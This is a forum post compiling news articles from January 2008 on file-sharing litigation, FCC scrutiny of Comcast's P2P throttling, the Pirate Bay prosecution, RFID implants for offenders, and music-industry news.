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Old 16-01-08, 01:30 PM   #1
JackSpratts
 
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Default Peer-To-Peer News - The Week In Review - January 19th, '08

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"As the guy who made the movie, I honestly want people to see the movie. If the only way you’re going to watch The Nines is illegally, so be it." – John August


"Maybe this isn’t the computer for you." – Steve Jobs


"Rarely have I rooted for a monster with such enthusiasm." – Manohla Dargis



































January 19th, 2008





Exonerated RIAA Defendant Scores Double Victory in Court
Eric Bangeman

A US District Court judge in Oregon has reaffirmed a magistrate's award of attorneys' fees and the dismissal of exonerated RIAA defendant Tanya Andersen's counterclaims against the RIAA without prejudice so that her class-action lawsuit against the record labels can move ahead.

Andersen, a disabled single mother who resides in Oregon, was sued by the RIAA in February 2005 for distributing gangster rap over KaZaA using the handle "gotenkito." She denied all of the RIAA's allegations and filed the now-dismissed counterclaims in October of that year. After over two years of contentious filings and allegations of misconduct by the RIAA's investigators, Atlantic v. Andersen was dismissed with prejudice after the record labels decided to drop the case.

Andersen was awarded attorneys' fees by the magistrate overseeing the case in September of last year, a decision that was quickly appealed by the RIAA. In a ruling noticed this morning by copyright attorney Ray Beckerman, Judge James A. Redden agreed with the magistrate's findings, writing that "the court's order dismissing Andersen's claims without prejudice provide a sufficient 'judicial imprimatur' on the 'alteration of the legal relationship of the parties' to justify conferring prevailing party status on Andersen."

Judge Redden also upheld the magistrate's decision to dismiss her counterclaims without prejudice so that they could be heard as part of a malicious prosecution lawsuit filed by Andersen last June after the RIAA's case was dismissed, citing the "interests of judicial economy and comprehensive litigation."

Andersen's malicious prosecution lawsuit accuses the RIAA of invasion of privacy, deceptive business practices, libel, slander, and a host of other misdeeds, saying that the RIAA has "engaged in a coordinated enterprise to pursue a scheme of threatening and intimidating litigation in an attempt to maintain its music distribution monopoly." Her complaint contains some very disturbing allegations, including one that labels attempted to contact her then eight-year-old daughter under false pretenses without Andersen's permission.

Andersen is seeking class-action status for her lawsuit, which would allow anyone who was "sued or were threatened with sued by Defendants for file-sharing, downloading or other similar activities, who have not actually engaged in actual copyright infringement" to join the lawsuit. The RIAA has denied any wrongdoing and has moved for dismissal of the lawsuit.
http://arstechnica.com/news.ars/post...-in-court.html





FCC Asks Comcast for P2P Answers
Chloe Albanesius

Comcast this week received a letter from the Federal Communications Commission (FCC) asking that the cable provider respond in writing by January 25 regarding accusations that it is blocking access to certain file-sharing applications.
"We did receive a letter from the FCC asking us to respond in writing to the Free Press, Media Access Project complaint," said Comcast spokeswoman Sena Fitzmaurice.

On Monday, the FCC also opened a public comment period on the Free Press petition that will examine whether "degrading peer-to-peer traffic" violates FCC rules for reasonable network management.

In addition, the FCC will examine a petition from file-sharing company Vuze that asks for clarification on what constitutes "reasonable network management." The inquiry will also touch on whether text messaging and short codes are subject to the FCC's non-discrimination rules, prompted by Verizon Wireless' decision to ban and then allow Naral Pro-Choice America to use its mobile network for an abortion-rights text program.

The letter Comcast received from the FCC "is different and separate from the three dockets that the FCC has opened asking for public comment on various broadband network processes and the Verizon text messaging issue," Fitzmaurice said.

Comcast has not made any decisions about whether it will submit public comments, she said.

The commission's wireline competition bureau will accept comments until February 13 and reply comments until February 28. The bureau will also examine a petition from file-sharing company Vuze that asks for clarification on what constitutes "reasonable network management."

At issue is an October article from the Associated Press that accused Comcast of using software from Sandvine to block customer access to P2P services like BitTorrent and Gnutella.

Comcast admitted to "delaying" P2P traffic when traffic levels were high, but denied that P2P access was being blocked. Internet groups were not convinced, so they filed a complaint with the FCC in November calling on the commission to stop Comcast from violating customer rights.

FCC Chairman Kevin Martin said last week at the Consumer Electronics Show (CES) that the commission would investigate the complaint to ensure that customers were not being blocked.

After that announcement, Comcast pledged to "work with the commission" on the issue, according to David L. Cohen, executive vice president for Comcast. "We believe our practices are in accordance with the FCC's policy statement on the Internet."

"These inquiries will go a long way to setting out a road map for determining who will control the Internet, and whether texting will be seen in the same light as wireless voice services," said Gigi Sohn, president of Public Knowledge, one of the groups that filed the complaint with the FCC. "We look forward to participating in these dockets, and we anticipate that at the end of the day, consumers will have more control over their Internet and wireless experiences than they do now."
http://www.pcmag.com/article2/0,1759,2249209,00.asp





FCC Will Test Internet Over TV Airwaves

High-tech group submitted devices that transmit service over TV spectrum
AP

Federal regulators said they will try again to test prototypes on Jan. 24 for transmitting high-speed Internet service over unused television airwaves.

Late Thursday, the Federal Communications Commission said the devices — developed by Adaptrum Inc., Microsoft Corp., Motorola Inc. and Philips Electronics North America Corp. — will be tested in laboratory and real-world conditions.

The agency said testing will take three months and issue a report about six weeks after the testing ends.

Last year, a high-technology coalition — which includes Microsoft, Philips, a division of Netherlands-based Royal Philips Electronics NV, Google Inc., Dell Inc., Hewlett-Packard Co., Intel Corp. and EarthLink Inc. — submitted prototypes they said could transmit broadband Internet service over unlicensed and unused TV spectrum, known as "white spaces."

The coalition — which does not include Motorola and Adaptrum, a Mountain View, Calif.-based startup — says using white spaces could make Internet service more accessible and affordable, especially in rural areas.

However, television broadcasters and the wireless microphone industry say such devices could interfere with programming.

Initial prototype testing failed. In July, the FCC gave a failing grade to Microsoft's prototypes, saying the devices did not reliably detect and avoid TV programming signals and could have caused interference.

Two weeks later, though, the agency said one of the Microsoft-built devices was broken, accounting for the failed results. A duplicate Microsoft device sent to the FCC was never tested.

At the time, the coalition also said a second prototype Philips developed was able to detect TV and wireless microphone signals, but only in a laboratory setting.

If the tests are successful this time and the devices are approved, the coalition plans to introduce commercial devices for sale after the digital television transition in February 2009.

"It seems to me this timeline is reasonable and could lead to a final decision by the end of the June," said Scott Blake Harris, who represents the coalition.
http://www.msnbc.msn.com/id/22728557/





China Overtakes the USA in its Number of Internet Users

Around 210 million Chinese had an Internet connection at the end of last year. This reduces the gap between the Middle Kingdom and the USA to five million internet users, reports the Xinhua news agency, quoting figures from the China Internet Network Information Center (CNNIC). The agency concludes that China will shortly take top place from the USA. In late 2006, the CNNIC still counted 137 million internet users.

Accordingly, 16.1 per cent of Chinese now have an Internet connection. The report says the worldwide average is 19.1 per cent. 52.6 million of China's internet users live in rural areas. That is 127.7 per cent more than at the beginning of 2007. Growth in the cities was 38.2 per cent. 181 million or 86.6 per cent of Chinese "netizens" go online to listen to music or buy it, while 81.4 per cent communicate in real time. 73.6 per cent look for news and 72.4 per cent use search machines.
http://www.heise.de/english/newsticker/news/102018





China Asks for International Help in Controlling Online Piracy
Rich Fiscus

Today Chinese officials issued what amounts to an international cry for help to help in their crack down on internet piracy. "To evade punishment, pirates often locate their servers in other countries or regions, posing very big difficulties for police efforts to carry out (a) crackdown," said Gao Feng, a senior public security ministry official. "Copyright infringements, by their very nature, are international crimes. To effectively curb such activities, (we) need enhanced international cooperation on law enforcement," he said.

"It's difficult to block these websites completely ... as it's hard to arrest a person responsible if he lives in a foreign country," Liu Bin, a Beijing-based analyst with technology consultancy firm BDA China, told AFP.

However, there's good reason to believe that Chinese officials' actual motives have less to do with piracy than controlling the country's population. The plea for international cooperation comes on the heels of a government announcement that by year's end only state agencies will be authorized to provide audio or video on the Web.

It also follows an incident where a man was brutally beaten to death by government employees while trying to shoot video of their dispute with a group of villagers in Tianmen. Many believe that the incident wouldn't have resulted in any goverment action except that it attracted the attention of Chinese bloggers, resulting in an investigaton that's so far yielded a number of arrests.

And don't forget that much of the pirated content Chinese officials are so anxious to remove isn't available through legal channels inside the country - at least not the uncensored versions available on the internet. Chinese police have also made a significant effort over the last several months to "clean up young people's online environment" by locating and closing internet cafes, known in China as net bars, not authorized by the government.

Perhaps even more telling is the overriding emphasis on the internet when it's a well known fact that pirated DVDs and CDs manufactured by organized crime operations are rampant in the area, including many operations which ship their unlicensed goods to other parts of the world.
http://www.afterdawn.com/news/archive/12601.cfm





Cheaper by the ton

Swedish Prosecutors Dump 4,000 Legal Docs on The Pirate Bay
Eric Bangeman

As the calendar pages turned from 2007 to 2008, one constant remained for the motion picture and music industries: The Pirate Bay's willingness to ignore their threats (and copyrights) to the point that the Swedish group's site has become the go-to destination for torrented content on the Internet. But there may be dark clouds looming on the horizon for The Pirate Bay. Swedish prosecutors are close to bringing charges against admins Peter Sunde, Fredrik Neij, and Gottfrid Svartholm.

In May 2006, Swedish law enforcement officials seized The Pirate Bay's servers and took a couple of the site's operators into custody. They were soon released, and just a couple of days later, the web site for the Swedish national police was taken down by a DDoS attack. But while the raid may have won Sweden some friends from the world of Big Content, it angered many Swedes. They were upset about reports that the Swedish government carried out the raid at the behest of the US government.

In fact, many Swedes are nonchalant about copyright, according to the Wall Street Journal (subscription). A 2006 report showed that 87 percent of all films viewed illegally in Sweden were acquired via P2P networks, rather than via bootlegged physical media (France was second at 62 percent and the figure is just 34 percent in the US), and the Journal describes the country as a "file-sharing free-for-all."

The antipathy towards copyright enforcement extends far beyond the Pirate Party in Sweden. Seven members of the Swedish Parliament from the free-market friendly Moderate Party (which is a member of the governing coalition) recently penned an op-ed piece in a Swedish tabloid (English translation) calling for the complete decriminalization of file-sharing. "Decriminalizing all non-commercial file sharing and forcing the market to adapt is not just the best solution," the MPs wrote. "It's the only solution, unless we want an ever more extensive control of what citizens do on the Internet."

That op-ed had to send shudders up the collective spine of the IFPI, which has its own agenda for copyright reform in Europe, one that involves blocking P2P applications and filtering ISP traffic.

No worries

One group that remains unconcerned in the face of possible prosecution is the administrators of The Pirate Bay. Last November, Peter Sunde told Ars that, should charges come, he's sure of a legal victory. "I'm quite confident we're gonna win and I was expecting this to happen," he said. "[Swedish prosecutor Håkan] Roswall is also a very biased man, so I'm glad to take it to court instead of letting him dig around my personal life for no apparent reason. Actually, it's kinda funny."

Time hasn't changed his feelings on the charges, as we checked in with the Sunde. "I'm quite sure we won't be convicted anyhow," Sunde told Ars today. "[If we are], we'll just appeal all the way to the European Union court. So in five years time this might be settled."

Sunde also accused Roswall of having a vendetta against The Pirate Bay. "The prosecutor decided before the raid that he was going to charge us," Sunde said. "He has until the last of January to press charges."

According to Sunde, he and the other potential codefendants just received over 4,000 pages of material related to the investigation from the prosecutors. "He doesn't want us to have enough time to even read through the material. To compare: the second-biggest murder case in Sweden had 1,500 pages of documentation."

Even if the case is successfully prosecuted, there may not be much the Swedish government can do to put a crimp in The Pirate Bay's operations. Since the 2006 seizure of its servers, the group has made a point of decentralizing its operations; the tracker site is mirrored on several servers around the world. So even though a conviction might cost Sunde, Svartholm, and Neij a few kronor, The Pirate Bay is all but certain to keep dishing up links to movies, music, applications, and more. And, thanks to the threat of a high-profile lawsuit, plenty of free advertising.
http://arstechnica.com/news.ars/post...irate-bay.html





Maybe He Shouldn’t Have Spoken His Mind
Andy Guess

T. Hayden Barnes opposed his university’s plan to build two large parking garages with $30 million from students’ mandatory fees. So last spring, he did what any student activist would do: He posted fliers criticizing the plan, wrote mass e-mails to students, sent letters to administrators and wrote a letter to the editor of the campus newspaper. While that kind of campaign might be enough to annoy university officials, Barnes never thought it would get him expelled.

Rather than ignore him or set up a meeting with concerned students, Valdosta State University, in Georgia, informed Barnes, then a sophomore, that he had been “administratively withdrawn” effective May 7, 2007. In a letter apparently slipped under his dorm room door, Ronald Zaccari, the university’s president, wrote that he “present[ed] a clear and present danger to this campus” and referred to the “attached threatening document,” a printout of an image from an album on Barnes’s Facebook profile. The collage featured a picture of a parking garage, a photo of Zaccari, a bulldozer, the words “No Blood for Oil” and the title “S.A.V.E.-Zaccari Memorial Parking Garage,” a reference to a campus environmental group and Barnes’s contention that the president sought to make the structures part of his legacy at the university.

The letter also said that in order to return as a student, a non-university psychiatrist would have to certify that Barnes was not a threat to himself or anyone else, and that he would receive “on-going therapy.” After he appealed, with endorsements from a psychiatrist and a professor, the Georgia Board of Regents “didn’t do the right thing and reverse the expulsion,” said William Creeley, a senior program officer at the Foundation for Individual Rights in Education, a nonprofit organization that defends students’ free expression rights and helped Barnes secure legal counsel.

“Sometimes there will come along a set of facts where you read it and you think, they couldn’t possibly have done this,” said Robert Corn-Revere, Barnes’s attorney and an adjunct scholar at the libertarian Cato Institute. “Then you look at it [and realize that] yes, they did.”

Corn-Revere wrote to the University System of Georgia and was told only that the institution couldn’t discuss the case because of federal privacy law. (Creeley said public universities often “hide behind FERPA,” even though in this case Barnes had provided a waiver to his rights under the law, whose name stands for the Family Educational Rights and Privacy Act.) On Wednesday, he filed suit against the university in federal court, Zaccari and the Board of Regents under the First and Fourteenth Amendments.

The university released a statement to the press: “As this is a pending legal matter, we are not at liberty to discuss the particulars of this issue at this time.”

In a reply to Barnes’s complaint to the university, the Board of Regents said Barnes had contacted system-wide administrators and board members, “telling them that he had met with President Zaccari on this issue, when he had not.” It also referenced the April 16 Virginia Tech massacre, which occurred around the time of the dispute between Barnes and the university.

As additional evidence of the threat posed by Barnes, the document referred to a link he posted to his Facebook profile whose accompanying graphic read: “Shoot it. Upload it. Get famous. Project Spotlight is searching for the next big thing. Are you it?” It doesn’t mention that Project Spotlight was an online digital video contest and that “shoot” in that context meant “record.” The appeal also mentions that Barnes’s profile stated, at one point, that he was “cleaning out and rearranging his room and thus, his mind, or so he hopes.” That was likely a status update, commonly used by Facebook members to update their friends on what they’re doing at a particular moment — whether literally or metaphorically.

After Zaccari saw a printout of Barnes’s Facebook page, he was subsequently “accompanied to high-profile events by plain-clothed police officers, and uniformed police officers were placed on high alert,” according to the document. The president has since announced his retirement, six months earlier than expected.

Creeley suggested that Zaccari is using Virginia Tech as a pretext for violating Barnes’s rights as a student at a public university and said his behavior was either “dazzlingly paranoid” or “disingenuous.”

“Knowing that Barnes had availed himself of counseling services made available to all students by VSU, Zaccari secretly and repeatedly met with Barnes’s counselor seeking to justify his decision to expel him,” the lawsuit states. “What he learned from both the campus counseling center and from Barnes’s private psychiatrist who was consulted in the matter, however, was that Barnes had never exhibited any violent tendencies and that he did not represent any danger either to himself or to others. Quite to the contrary, despite a background in which he had been forced to cope with some difficult family issues from an early age, Barnes had developed into an engaged student, was a licensed and decorated emergency medical technician, and was politically aware and involved.”

FIRE is simultaneously pressuring Valdosta State to reverse its “free speech area” policy, which is unusually rigid in restricting student expression to a single stage on the 168-acre campus, only between the hours of 12 and 1 p.m. and 5 and 6 p.m., with prior registration.

“Treating students as though they are caged animals is pretty reprehensible,” Creeley said.
http://www.insidehighered.com/news/2008/01/11/valdosta





Prisoners 'to be Chipped Like Dogs'

Hi-tech 'satellite' tagging planned in order to create more space in jails

Civil rights groups and probation officers furious at 'degrading' scheme
Brian Brady

Ministers are planning to implant "machine-readable" microchips under the skin of thousands of offenders as part of an expansion of the electronic tagging scheme that would create more space in British jails.

Amid concerns about the security of existing tagging systems and prison overcrowding, the Ministry of Justice is investigating the use of satellite and radio-wave technology to monitor criminals.

But, instead of being contained in bracelets worn around the ankle, the tiny chips would be surgically inserted under the skin of offenders in the community, to help enforce home curfews. The radio frequency identification (RFID) tags, as long as two grains of rice, are able to carry scanable personal information about individuals, including their identities, address and offending record.

The tags, labelled "spychips" by privacy campaigners, are already used around the world to keep track of dogs, cats, cattle and airport luggage, but there is no record of the technology being used to monitor offenders in the community. The chips are also being considered as a method of helping to keep order within prisons.

A senior Ministry of Justice official last night confirmed that the department hoped to go even further, by extending the geographical range of the internal chips through a link-up with satellite-tracking similar to the system used to trace stolen vehicles. "All the options are on the table, and this is one we would like to pursue," the source added.

The move is in line with a proposal from Ken Jones, the president of the Association of Chief Police Officers (Acpo), that electronic chips should be surgically implanted into convicted paedophiles and sex offenders in order to track them more easily. Global Positioning System (GPS) technology is seen as the favoured method of monitoring such offenders to prevent them going near "forbidden" zones such as primary schools.

"We have wanted to take advantage of this technology for several years, because it seems a sensible solution to the problems we are facing in this area," a senior minister said last night. "We have looked at it and gone back to it and worried about the practicalities and the ethics, but when you look at the challenges facing the criminal justice system, it's time has come."

The Government has been forced to review sentencing policy amid serious overcrowding in the nation's jails, after the prison population soared from 60,000 in 1997 to 80,000 today. The crisis meant the number of prisoners held in police cells rose 13-fold last year, with police stations housing offenders more than 60,000 times in 2007, up from 4,617 the previous year. The UK has the highest prison population per capita in western Europe, and the Government is planning for an extra 20,000 places at a cost of £3.8bn – including three gigantic new "superjails" – in the next six years.

More than 17,000 individuals, including criminals and suspects released on bail, are subject to electronic monitoring at any one time, under curfews requiring them to stay at home up to 12 hours a day. But official figures reveal that almost 2,000 offenders a year escape monitoring by tampering with ankle tags or tearing them off. Curfew breaches rose from 11,435 in 2005 to 43,843 in 2006 – up 283 per cent. The monitoring system, which relies on mobile-phone technology, can fail if the network crashes.

A multimillion-pound pilot of satellite monitoring of offenders was shelved last year after a report revealed many criminals simply ditched the ankle tag and separate portable tracking unit issued to them. The "prison without bars" project also failed to track offenders when they were in the shadow of tall buildings.

The Independent on Sunday has now established that ministers have been assessing the merits of cutting-edge technology that would make it virtually impossible for individuals to remove their electronic tags.

The tags, injected into the back of the arm with a hypodermic needle, consist of a toughened glass capsule holding a computer chip, a copper antenna and a "capacitor" that transmits data stored on the chip when prompted by an electromagnetic reader.

But details of the dramatic option for tightening controls over Britain's criminals provoked an angry response from probation officers and civil-rights groups. Shami Chakrabarti, director of Liberty, said: "If the Home Office doesn't understand why implanting a chip in someone is worse than an ankle bracelet, they don't need a human-rights lawyer; they need a common-sense bypass.

"Degrading offenders in this way will do nothing for their rehabilitation and nothing for our safety, as some will inevitably find a way round this new technology."

Harry Fletcher, assistant general secretary of the National Association of Probation Officers, said the proposal would not make his members' lives easier and would degrade their clients. He added: "I have heard about this suggestion, but we feel the system works well enough as it is. Knowing where offenders like paedophiles are does not mean you know what they are doing.

"This is the sort of daft idea that comes up from the department every now and then, but tagging people in the same way we tag our pets cannot be the way ahead. Treating people like pieces of meat does not seem to represent an improvement in the system to me."

The US market leader VeriChip Corp, whose parent company has been selling radio tags for animals for more than a decade, has sold 7,000 RFID microchips worldwide, of which about 2,000 have been implanted in humans. The company claims its VeriChips are used in more than 5,000 installations, crossing healthcare, security, government and industrial markets, but they have also been used to verify VIP membership in nightclubs, automatically gaining the carrier entry – and deducting the price of their drinks from a pre-paid account.

The possible value of the technology to the UK's justice system was first highlighted 18 months ago, when Acpo's Mr Jones suggested the chips could be implanted into sex offenders. The implants would be tracked by satellite, enabling authorities to set up "zones", including schools, playgrounds and former victims' homes, from which individuals would be barred.

"If we are prepared to track cars, why don't we track people?" Mr Jones said. "You could put surgical chips into those of the most dangerous sex offenders who are willing to be controlled."

The case for: 'We track cars, so why not people?'

The Government is struggling to keep track of thousands of offenders in the community and is troubled by an overcrowded prison system close to bursting. Internal tagging offers a solution that could impose curfews more effectively than at present, and extend the system by keeping sex offenders out of "forbidden areas". "If we are prepared to track cars, why don't we track people?" said Ken Jones, president of the Association of Chief Police Officers (Acpo).

Officials argue that the internal tags enable the authorities to enforce thousands of court orders by ensuring offenders remain within their own walls during curfew hours – and allow the immediate verification of ID details when challenged.

The internal tags also have a use in maintaining order within prisons. In the United States, they are used to track the movement of gang members within jails.

Offenders themselves would prefer a tag they can forget about, instead of the bulky kit carried around on the ankle.

The case against: 'The rest of us could be next'

Professionals in the criminal justice system maintain that the present system is 95 per cent effective. Radio frequency identification (RFID) technology is unproven. The technology is actually more invasive, and carries more information about the host. The devices have been dubbed "spychips" by critics who warn that they would transmit data about the movements of other people without their knowledge.

Consumer privacy expert Liz McIntyre said a colleague had already proved he could "clone" a chip. "He can bump into a chipped person and siphon the chip's unique signal in a matter of seconds," she said.

One company plans deeper implants that could vibrate, electroshock the implantee, broadcast a message, or serve as a microphone to transmit conversations. "Some folks might foolishly discount all of these downsides and futuristic nightmares since the tagging is proposed for criminals like rapists and murderers," Ms McIntyre said. "The rest of us could be next."
http://news.independent.co.uk/uk/pol...cle3333852.ece





General Dynamics Wins $100 Million Passport Card Contract

The Western Hemisphere Travel Initiative (WHTI) will allow U.S. residents to travel by land and sea to Canada, Mexico, the Caribbean, and Bermuda using a passport card rather than a traditional passport (travel by air, and travel to other countries, would still require a passport); General Dynamics wins contract to produce the cards

The U.S. Department of State awarded a five-year (base year plus four option years) contract (amount not to exceed $99,333,863.00) to General Dynamics Information Technology of Fairfax, Virginia to integrate the production of the new passport card into the department’s existing passport book processes. The contract calls for the supply of card stock, electronic chips, printers, and software. Beginning in the spring of 2008, the Department of State will begin issuing the passport card to residents of American land border communities for a less expensive and more portable alternative to the traditional passport book. The passport card will facilitate entry and expedite document processing at U.S. land and sea ports-of-entry when arriving from Canada, Mexico, the Caribbean, and Bermuda. The card may not be used to travel by air. It will otherwise carry the rights and privileges of the U.S. passport book and will be adjudicated to the exact same standards.

U.S. citizens may begin applying in advance for the new U.S. Passport Card beginning 1 February 2008, in anticipation of land border travel document requirements. The department said that uniform and standard documentation with "facilitative technology" (translation: vicinity RFID technology) will enhance U.S. border security and help facilitate legitimate travel. "The Department looks forward to working with General Dynamics Information Technology to provide the new passport card to the American public," the department said in a press release.
http://hsdailywire.com/single.php?id=5367





Music Stars Reportedly Named In Steroids Investigation
FMQB

A number of Hip-Hop and R&B stars have reportedly been named as part of the ongoing investigation into illegal steroid distribution via the Florida-based Signature Pharmacy. The probe had previously named a number of pro athletes and wrestlers as customers, though a story in the Albany, NY Times Union mentions Mary J. Blige, 50 Cent, Timbaland and Wyclef Jean as well.

However, officials note that there is no evidence that any stars named in the report broke the law and their investigation is instead focusing on doctors and clinics who prescribed steroids and human growth hormones (HGH). Experts told the Times Union that the use of such drugs in non-athletic fields shows just how widespread steroid use has become in society, far beyond sports.

The paper reports that the musicians received shipments of the drugs, often under aliases, at hotels, studios, a fitness club, homes and elsewhere. Writer/director/actor Tyler Perry is also among the non-athletes who are cited in the report.

A spokesperson for Mary J. Blige told the New York Times that the R&B star vehemently denies the report. "Mary J. Blige has never taken any performance-enhancing illegal steroids," spokeswoman Karynne Tencer told the paper.
http://fmqb.com/Article.asp?id=549036





TV Rock Shows Score with Hipster Parents, Progeny
Cortney Harding

It could be any old indie rock show: The uber-hip band starts playing its buzzworthy hit while the crowd dances feverishly.

But in this case, the crowd comprises not only cool adults but their ecstatic 5-year-olds as well. This kids' show is certainly light-years from the "Sesame Street" songs of yore. In fact, it isn't "Sesame Street" at all, but "Pancake Mountain," one piece of mounting evidence that the punk generation has grown up, reproduced and passed on the DIY spirit.

While many youngsters will no doubt continue to name "Kidz Bop" or "Elmo" tracks as their favorite tunes, a growing number may start dropping names like the Shins or the Evens during show-and-tell. That's because two TV shows, Nickelodeon's "Yo Gabba Gabba!" and the independently produced "Pancake Mountain," as well as a number of indie artists, are reaching out to target hip, young parents and their kids.

Since it launched in August 2007, "Yo Gabba Gabba!" has featured everyone from Devo's Mark Mothersbaugh to the Aquabats to Shiny Toy Guns playing alongside the show's giant puppets. "Tons of bands have contacted us wanting to be on the show, and we are really focused on including strong, great music," said Doug Cohen, senior vice president of music marketing and talent at Nickelodeon.

That emphasis on strong music has drawn equally strong audiences. "Yo Gabba Gabba!" averages 683,000 2- to 5-year-old viewers per week (and presumably more than a few parents) and is the No. 1 program among kids ages 2-5 in its time period, according to Nielsen Media Research. The show has been renewed for a second season, and DVDs and CDs are forthcoming, according to Cohen.

Low-Budget Production

While "Yo Gabba Gabba!" boasts a crew of bright puppets and shiny production, Washington, D.C.-based "Pancake Mountain" is a resolutely DIY affair. The show's creator, Scott Stuckey, claims that each episode costs him less than $500 to make, and the show airs on public access channels along the East Coast.

Every episode of "Pancake Mountain," which launched in November 2003, comprises a collection of skits as well as live performances by some of the hottest names in indie rock: Built to Spill, Bright Eyes, the Flaming Lips.

Stuckey claims that the bands usually approach him wanting to play the show, mostly because "they love it. It's just a really fun, different experience for them." Unlike "Yo Gabba Gabba!," where bands perform songs written for the show, "Pancake Mountain" has bands perform their own tracks, often at D.C.-area rock venues.

Despite the show's quirky format and limited viewing schedule, Stuckey estimates that he's sold around 8,000 DVDs of past seasons. The bands don't get any royalties from these sales, but Stuckey is working on a deal to sell episodes via iTunes through Dischord Records. "The bands do it for the love, and they know we're just breaking even," he said. "But if the iTunes deal were to happen, we would make sure they were compensated fairly."

Stuckey and his show have also caught the eye of networks and talent agencies. "I'm planning on meeting with (Creative Artists Agency) soon, and there has been a lot of attention lately," he said. "But some people have a hard time getting it. I don't want to work with a network that would try to exert structure and put big bands on. I don't need a big network, per se; if I do make a deal, I want to make sure I still have control."

Generational Shift

The creators of both shows credit their success to the emerging "hipster parent" population -- itself a media fascination. New York magazine derided the concept on its March 27, 2006, cover, while Web sites like babble.com have celebrated it. As they have started becoming parents, many indie rockers have also moved into the realm of writing music for kids.

The best known of these is Dan Zanes, formerly of Boston stalwarts the Del Fuegos. Zanes is also the best-selling artist of the bunch; his 2006 album, "Catch That Train," has moved 81,000 copies, according to Nielsen SoundScan.

Atlanta record store owner Bryan Townsend was so confident of this market that in October 2006 he launched an online record store, PokeyPup.com, dedicated to selling hip products for kids. Townsend said that from November 2006 to November 2007 the store's sales doubled, and traffic increased by 264 percent.

He credits the growth to the fact that young parents have grown up surrounded by music. "When I grew up, it was all MTV and radio all the time," he said. "There is a real desire among these parents to share music with their kids and provide a safe environment for them to learn about different genres and bands."
http://www.reuters.com/article/music...34627720080119





Are 'Idol's' Stars for Real, or Just for Reality TV?

Show is a star maker, but fame hasn't necessarily translated to record sales
Sheila Marikar

"American Idol" makes its triumphant return to TV tonight, and with the Hollywood writers strike still going strong, more viewers than ever may tune in to see Simon Cowell, Paula Abdul, Randy Jackson and Ryan Seacreast try to turn a brand new batch of contestants from off-key shower singers to polished pop stars.

But will the seventh season of "Idol" produce a music legend in the making, or just another reality TV trophy-holder?

The last six months have made clear that not all who grace the "Idol" stage go on to find fame and fortune. Season one winner Kelly Clarkson split with her management, sparked a storm of negative press around her third album, and canceled her summer tour. Season four finalist Jessica Sierra made more headlines for her drug and alcohol abuse than her "Idol"-honed talents.

Poor album sales got three "Idol" stars booted from their record labels: Season two winner Ruben Studdard, season five winner Taylor Hicks and season five runner up Katharine McPhee.

And while 2006's "American Idols Live" tour practically sold out, last year's run saw only 68 percent capacity crowds.

Is "American Idol," one of the highest-rated programs on TV, losing its touch?

"I think the program is kind of showing its age right now," said Sean Fennessy, Vibe magazine's associate music editor.

"Jordin Sparks had the lowest debut of an 'Idol' winner on the charts," he added, noting the season six winner's November debut at No. 10 on the Billboard 200 album sales chart. "That is exceedingly low for someone from a show that had millions of viewers a week."

The Sanjaya Factor

Sure, Sparks' less than stellar debut could be pinned on declining sales throughout the music industry or poor timing. But it could also be because by many accounts, the biggest star of season six was not Sparks -- it was Sanjaya Malakar, the "ponyhawk"-ed pretty-boy who baffled the "Idol" judges by sticking around far longer than his voice warranted, thanks to a cult following among the show's viewers.

The Sanjaya phenomenon -- the 18-year-old spawned YouTube spoofs, conspiracy theories and a legion of "Fanjayas" -- proved again that the "Idol" audience doesn't necessarily care about talent as much as personality. (Engineering nerd William Hung started the trend, scoring 15 minutes of fame and a record deal after belting out Ricky Martin's "She Bangs" in a season three audition.)

"We almost don't have to argue whether the Sanjaya factor undermines 'American Idol's' authority, because the intention of the show isn't about authority in the industry -- it's about giving the viewers what they want," said Lizzy Goodman, Blender magazine's editor at large. "We spend so much time in the industry trying to appeal to the audience, and here's an example of the audience cutting out the middle man. These are pop stars selected by America for America."

In other words, if "Idol's" winners and runners up can't stand alone as pop stars in the greater marketplace, Americans have no one to blame but themselves. But as sales figures show, not all of "Idol's" outputs are failing.

Rocker Chris Daughtry came in fourth place on the fifth season of "American Idol" but went on to beat out all those who beat him when his debut album sold 3.6 million copies and Nielsen named him one of the Top 10 selling artists of 2007.

Season four winner Carrie Underwood's debut album went six times platinum and earned her a Grammy. Her latest CD, "Carnival Ride," has sold more than 2 million copies in the United States, and scored her a slew of country music awards.

"I think it would be easy to dismiss the show if you had victors who came out with the album and it had some quick and dirty sales and then they were never heard from again," said Chuck Taylor, Billboard's senior correspondent. "And certainly, we do have those personalities from the show. But we also have some real long-term talent that has developed as a result of 'American Idol.'"

As it heads into its seventh season, "Idol" plans to tweak its format: Contestants will be allowed to perform with instruments in early rounds, putting more emphasis on talent.

But yesterday, Daughtry, biting the hand that didn't feed him enough, told RollingStone.com that the show's days of relevance may have come and gone.

"I feel like it's definitely lacking some credibility at this point," he said. "It's funny at first, but come on. They spend three weeks on people who can't sing, and that's what they're banking it on. [They should] find some people that you can really invest in."
http://abcnews.go.com/Entertainment/story?id=4133341





"Rock Band," "Guitar Hero" Drive Digital Song Sales
Antony Bruno

In the two months since MTV Networks and Harmonix released the music-based videogame "Rock Band," players have purchased and downloaded more than 2.5 million additional songs made available after the game's initial distribution. Activision, meanwhile, said it has sold more than 5 million new songs via download for "Guitar Hero III: Legends of Rock" since it began adding downloadable content in early November.

By comparison, it took wireless operator Sprint four months to sell 1 million songs on its over-the-air full-song download service. While new digital music services competing with iTunes and free peer-to-peer services have struggled to convince music fans to pay $1 for a single, downloadable tracks for games like "Rock Band" and "Guitar Hero" are flying off the digital shelves.

"With such a low installation base, we didn't think that there'd be 2 million songs sold in eight weeks," MTVN Music Group/Logo/Films division president Van Toffler said. "We live in a rough time around music where our audience struggles to pay $20 for a CD but don't hesitate to pay $50 for a game. The notion to pay 99 cents or $1.99 to have a song and repeatedly play with it apparently isn't a big hurdle."

The original "Rock Band" and "Guitar Hero" games shipped with more than 50 licensed songs each, a mix of master recordings and covers. Since then, "Rock Band" has made new music available every week as either singles or in three-pack bundles that can be added as new playable levels for between 99 cents and $5.50. "Guitar Hero III" did the same, focusing on three-song bundles of new music and music featured in previous versions of the game.

Although MTV is not providing specific numbers, it did say that the majority of the downloaded songs were purchased by Xbox 360 as opposed to PlayStation 3 users. According to the NPD Group, "Rock Band" sold 775,000 copies for the Xbox 360 through the end of 2007, compared with 250,000 on the PS3.

Metallica Shines

The game's impact on song sales for participating artists, however, remains unclear. While not providing exact sales figures, MTV did say that the Metallica three-pack of "Ride the Lightning," "Blackened" and "And Justice for All" is the best-selling "Rock Band" download.

